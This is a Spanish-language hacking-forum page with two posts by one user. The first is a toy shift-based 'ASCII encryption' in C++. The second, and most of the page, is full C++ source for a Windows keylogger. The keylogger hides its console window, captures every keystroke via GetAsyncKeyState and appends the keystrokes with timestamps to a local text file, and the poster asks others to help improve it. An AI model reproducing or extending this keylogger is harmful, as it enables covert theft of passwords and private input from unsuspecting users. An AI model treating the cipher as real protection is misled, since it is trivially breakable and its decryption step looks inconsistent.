elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Introducción a la Factorización De Semiprimos (RSA)


  Mostrar Temas
Páginas: [1]
1  Programación / Programación C/C++ / Que piensas al respecto de esto en: 15 Septiembre 2016, 04:43 am
Codigo de encriptacion ascii que opinan,que me pueden decir acerca de el.
Código:
#include <iostream>

using namespace std;

string EncryptAnscii(int key,string cadena);
string DesencryptAnscii(int key,string code);

int main(){

    string cadena ="elhacker.net";
    string code = EncryptAnscii(10,cadena);
    cout << "code--> "<<code << endl;
    cout << "decode-->"<<DesencryptAnscii(10,code);

    return 0;
}

string EncryptAnscii(int key,string cadena){
    string code = "";

    for(int i = 0;i<cadena.length();i++){
        if(cadena[i] == char(164)){
            code+=char(253);
        }else{
            if(cadena[i] == char(165)){
                code+=char(252);
            }else{
                if(int((cadena[i])+key-i) > 126){
                    code += char(((int(cadena[i])+key-i)-126)+32);
                }else{
                    code+=char(int(cadena[i])+key-i);
                }
            }

        }

    }

    return code;
}

string DesencryptAnscii(int key,string code){
    string cadena = "";

    for(int i = 0;i<code.length();i++){
        if(code[i] == char(253)){
            cadena+=char(164);
        }else{
            if(code[i] == char(252) ){
                cadena+=char(165);
            }else{
                if(int((code[i])-key+i) < 32){
                    cadena += char(126-(32+(int(code[i])-key+i)));
                }else{
                    cadena+=char(int(code[i])-key+i);
                }
            }

        }

    }

    return cadena;
}
2  Programación / Programación C/C++ / Keylogger en c++ en: 27 Junio 2016, 01:49 am
:rolleyes: Buenas aqui dejo un codigo que estuve haciendo en mi tiempo libre,me gustaria saber si alguien le gustaria colaborar para mejorarlo, optimizarlo esta hecho con fines de aprendizaje, pero me gustaria saber si puede mejorarse.Lo hice yo mismo guiandome de la web.


Código
  1. #define _WIN32_WINNT 0x0500 //getConsoleWindow()
  2. #include <iostream>
  3. #include <conio.h>
  4. #include <stdio.h>
  5. #include <stdlib.h>
  6. #include <windows.h>
  7. #include <ctime>
  8. #include "Conver.h"
  9.  
  10. using namespace std;
  11.  
  12. bool Bloq = false;
  13. void hora();
  14. void arch(string p);
  15. void key();
  16. int cont = 0;
  17.  
  18. int main ()
  19. {
  20.     /* Ocultar la consola */
  21. //HWND hWnd = GetConsoleWindow();
  22. /* 0 = oculta ; 1 = visible */
  23. //ShowWindow( hWnd, 0);
  24.  
  25. FreeConsole();
  26. hora();
  27. while(true)
  28. {
  29.     key();
  30. }
  31.  
  32.  
  33.  
  34. return 0;
  35. }
  36.  
  37. void hora ()
  38. {
  39.    Conver co;
  40.    string H = "";
  41.    string Fecha = "";
  42.    time_t now;
  43.    struct tm nowlocal;
  44.  
  45.    now = time(NULL);
  46.  
  47.    nowlocal=*localtime(&now);
  48.  
  49.    H = co.Num_str(nowlocal.tm_hour) + ":" + co.Num_str(nowlocal.tm_min) + ":" + co.Num_str(nowlocal.tm_sec);
  50.    Fecha = co.Num_str(nowlocal.tm_mday) + "/" + co.Num_str(nowlocal.tm_mon) + "/" + co.Num_str(nowlocal.tm_year+1900);
  51.  
  52.    arch("\n" + H + " || " + Fecha + "\n");
  53. }
  54.  
  55. void arch(string p)
  56. {
  57.    FILE*KeyL;
  58.    KeyL = fopen("K3yl0g.txt","a");
  59.    fputs(p.c_str(),KeyL);
  60.    fclose(KeyL);
  61. }
  62.  
  63. void key()
  64. {
  65.    string p;
  66.  
  67.    for(int c = 0;c<=255;c++)
  68.    {
  69.  
  70.  
  71.        if(GetAsyncKeyState(c) == -32767)
  72.        {
  73.  
  74.                            switch(c)
  75.                            {
  76.                            case 20:
  77.                                if(Bloq == true)
  78.                                {
  79.                                Bloq = false;
  80.                                }else
  81.                                    {
  82.                                    Bloq = true;
  83.                                    }
  84.                                    //cont++;
  85.                                break;
  86.  
  87.                                case 16:
  88.                                p = "[Shift]";
  89.                                arch(p);
  90.                                //cont++;
  91.                                break;
  92.  
  93.                                case 17:
  94.                                p = "[CTRL]";
  95.                                arch(p);
  96.                                //cont++;
  97.                                break;
  98.  
  99.                                case 18:
  100.                                p = "[ALT]";
  101.                                arch(p);
  102.                                //cont++;
  103.                                break;
  104.  
  105.                                case 9:
  106.                                p = "\t";
  107.                                arch(p);
  108.                                //cont++;
  109.                                break;
  110.  
  111.                                case 8:
  112.                                p = "[DEL]";
  113.                                arch(p);
  114.                                //cont++;
  115.                                break;
  116.  
  117.                                case 187: case 107 :
  118.                                p ="+";
  119.                                arch(p);
  120.                                //cont++;
  121.                                break;
  122.  
  123.  
  124.                                case 188:
  125.                                p = ",";
  126.                                arch(p);
  127.                                //cont++;
  128.                                break;
  129.  
  130.                                case 189: case 109:
  131.                                p = "-";
  132.                                arch(p);
  133.                                //cont++;
  134.                                break;
  135.  
  136.                                case 190: case 110:
  137.                                p = ".";
  138.                                arch(p);
  139.                                //cont++;
  140.                                break;
  141.  
  142.                                case 192:
  143.                                p = char(164);
  144.                                arch(p);
  145.                                //cont++;
  146.                                break;
  147.  
  148.                                case 91:
  149.                                p = "[Win]";
  150.                                arch(p);
  151.                                //cont++;
  152.                                break;
  153.  
  154.                                default:
  155.                                    if(c == 32 || c == 13)
  156.                                    {
  157.                                        cont++;
  158.                                    }
  159.  
  160.                                     if(c == 32 || c == 13 || (c>= 48 && c<=105))
  161.                                      {
  162.                                        if(Bloq == false)
  163.                                        {
  164.                                        p = tolower(char(c));
  165.                                        }else
  166.                                            {
  167.                                            p = char(c);
  168.                                            }
  169.                                            arch(p);
  170.                                     }
  171.  
  172.                                    break;
  173.  
  174.                            }
  175.                        if(cont == 80)
  176.                        {
  177.                            cont = 0;
  178.                            hora();
  179.  
  180.                        }
  181.  
  182.                        c = 0;
  183.                }
  184.  
  185. }
  186. }
  187.  
  188.  

Pense en omitir algunas teclas para que lo que se guarde en el .txt se vea mas limpio, y lo de la hora queria guardar la hora y la fecha cierto tanto tiempo,alguien tiene ideas para mejorarlo.  >:D




Se me olvidaba esto es Conver.h tambien le hice yo.

Código
  1. #include <map>
  2. #include <iostream>
  3.  
  4. using namespace std;
  5.  
  6. class Conver
  7. {
  8.    public:
  9.        string Num_str(int i);
  10.        int Str_num(string i);
  11.        int Char_num(char i);
  12. string Char_str(char i);
  13. char Str_char(string i);
  14. bool Isint(char n);
  15.    protected:
  16.  
  17.    private:
  18. };
  19.  
  20. bool Conver::Isint(char n)
  21. {
  22.    string N = "-0123456789";
  23.  
  24.    for(int i = 0;i<N.length();i++)
  25.    {
  26.        if(n == N[i])
  27.        {
  28.            return true;
  29.        }
  30.    }
  31.  
  32.    return false;
  33.  
  34. }
  35.  
  36. char Conver::Str_char(string i)
  37. {
  38. map<string, char> conver;
  39.  
  40. conver["+"] = '+';
  41. conver["-"] = '-';
  42. conver["*"] = '*';
  43. conver["/"] = '/';
  44. conver["^"] = '^';
  45.  
  46. return conver[i];
  47. }
  48.  
  49. string Conver::Char_str(char i)
  50. {
  51.    map<char, string> conver;
  52.  
  53.    conver['0'] = "0";
  54.    conver['1'] = "1";
  55.    conver['2'] = "2";
  56.    conver['3'] = "3";
  57.    conver['4'] = "4";
  58.    conver['5'] = "5";
  59.    conver['6'] = "6";
  60.    conver['7'] = "7";
  61.    conver['8'] = "8";
  62.    conver['9'] = "9";
  63.    conver['+'] = "+";
  64.    conver['-'] = "-";
  65.    conver['*'] = "*";
  66.    conver['/'] = "/";
  67.    conver['('] = "(";
  68.    conver[')'] = ")";
  69.    conver['^'] = "^";
  70.    conver['x'] = "x";
  71.    conver['y'] = "Y";
  72.  
  73.    return conver[i];
  74. }
  75.  
  76. int Conver::Char_num(char i)
  77. {
  78.    map<char, int> conver;
  79.  
  80.    conver['0'] = 0;
  81.    conver['1'] = 1;
  82.    conver['2'] = 2;
  83.    conver['3'] = 3;
  84.    conver['4'] = 4;
  85.    conver['5'] = 5;
  86.    conver['6'] = 6;
  87.    conver['7'] = 7;
  88.    conver['8'] = 8;
  89.    conver['9'] = 9;
  90.  
  91.    return conver[i];
  92. }
  93.  
  94. ///LISTO---------------------------------------
  95. string Conver::Num_str(int i)
  96. {
  97.    bool t = true;
  98. if(i < 0)
  99. {
  100.    i = i*(-1);
  101.    t = false;
  102. }
  103.    map<int, string> conver;
  104.  
  105.    conver[0] = "0";
  106.    conver[1] = "1";
  107.    conver[2] = "2";
  108.    conver[3] = "3";
  109.    conver[4] = "4";
  110.    conver[5] = "5";
  111.    conver[6] = "6";
  112.    conver[7] = "7";
  113.    conver[8] = "8";
  114.    conver[9] = "9";
  115.  
  116.    if (i>=0 && i <=9)
  117.        {
  118.             if(t)
  119.             {
  120.                 return (conver[i]);
  121.             }else
  122.                {
  123.                    return ("-"+conver[i]);
  124.                }
  125.        }
  126.        else
  127.          {
  128.              int aux;
  129.              if (i>=10 && i<=99 )
  130.              {
  131.                  aux = 10;
  132.              }
  133.              else
  134.              {
  135.                  if(i>=100 && i<=999)
  136.                  {
  137.                      aux = 100;
  138.                  }
  139.                  else
  140.                  {
  141.                      if(i>=1000 && i<=9999)
  142.                      {
  143.                          aux = 1000;
  144.                      }
  145.                      else
  146.                      {
  147.                          if (i>=10000 && i<=99999)
  148.                          {
  149.                              aux = 10000;
  150.                          }
  151.                          else
  152.                            {
  153.                                if(i>=100000 && i<=999999)
  154.                                {
  155.                                    aux = 100000;
  156.                                }
  157.                                else
  158.                                {
  159.                                    if(i>=1000000 && i<=9999999)
  160.                                    {
  161.                                        aux = 1000000;
  162.                                    }
  163.                                    else
  164.                                    {
  165.                                        if(i>=10000000 && i<=99999999)
  166.                                        {
  167.                                            aux = 10000000;
  168.                                        }
  169.                                        else
  170.                                        {
  171.                                            if(i>=100000000  && i<=999999999)
  172.                                            {
  173.                                                aux = 100000000;
  174.                                            }
  175.                                            else
  176.                                            {
  177.                                                aux = 1000000000;
  178.                                            }
  179.                                        }
  180.                                    }
  181.                                }
  182.                            }
  183.                      }
  184.                  }
  185.              }
  186.  
  187.              string receptot = "";
  188.        for (aux=aux;aux>=1;aux=aux/10)
  189.        {
  190.            receptot += Num_str(i/aux);
  191.            i = i%aux;
  192.        }
  193.  
  194.        if(t)
  195.        {
  196.        return (receptot);
  197.        }else
  198.            {
  199.                return("-"+receptot);
  200.            }
  201.          }
  202.  
  203.  
  204. }
  205. ///LISTO_______________________________________
  206. int Conver::Str_num(string i)
  207. {
  208.  
  209.    map<string, int> conver;
  210.  
  211.  
  212.    conver["0"] = 0;
  213.    conver["1"] = 1;
  214.    conver["2"] = 2;
  215.    conver["3"] = 3;
  216.    conver["4"] = 4;
  217.    conver["5"] = 5;
  218.    conver["6"] = 6;
  219.    conver["7"] = 7;
  220.    conver["8"] = 8;
  221.    conver["9"] = 9;
  222.  
  223.  
  224.    if (i.length() <=1)
  225.    {
  226.    return(conver[i]);
  227.    }
  228.    else{
  229.  
  230.            int aux=1;
  231.            int acumulador = 0;
  232.  
  233.            for (int j = 1;j<=i.length();j++)
  234.            {
  235.                aux*=10;
  236.            }
  237.  
  238.            for (int j = 0;j<=i.length()-1;j++)
  239.            {
  240.                aux = aux/10;
  241.  
  242.                acumulador +=Char_num(i[j])*aux;
  243.  
  244.            }
  245.            if (i[0] == '-')
  246.            {
  247.                return -(acumulador);
  248.            }else
  249.                {
  250.                return acumulador;
  251.                }
  252.  
  253.  
  254.    }
  255.  
  256. }
  257.  
  258. ///--------------------------------------------
  259.  
  260.  

Mod: no hacer doble post
Páginas: [1]
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines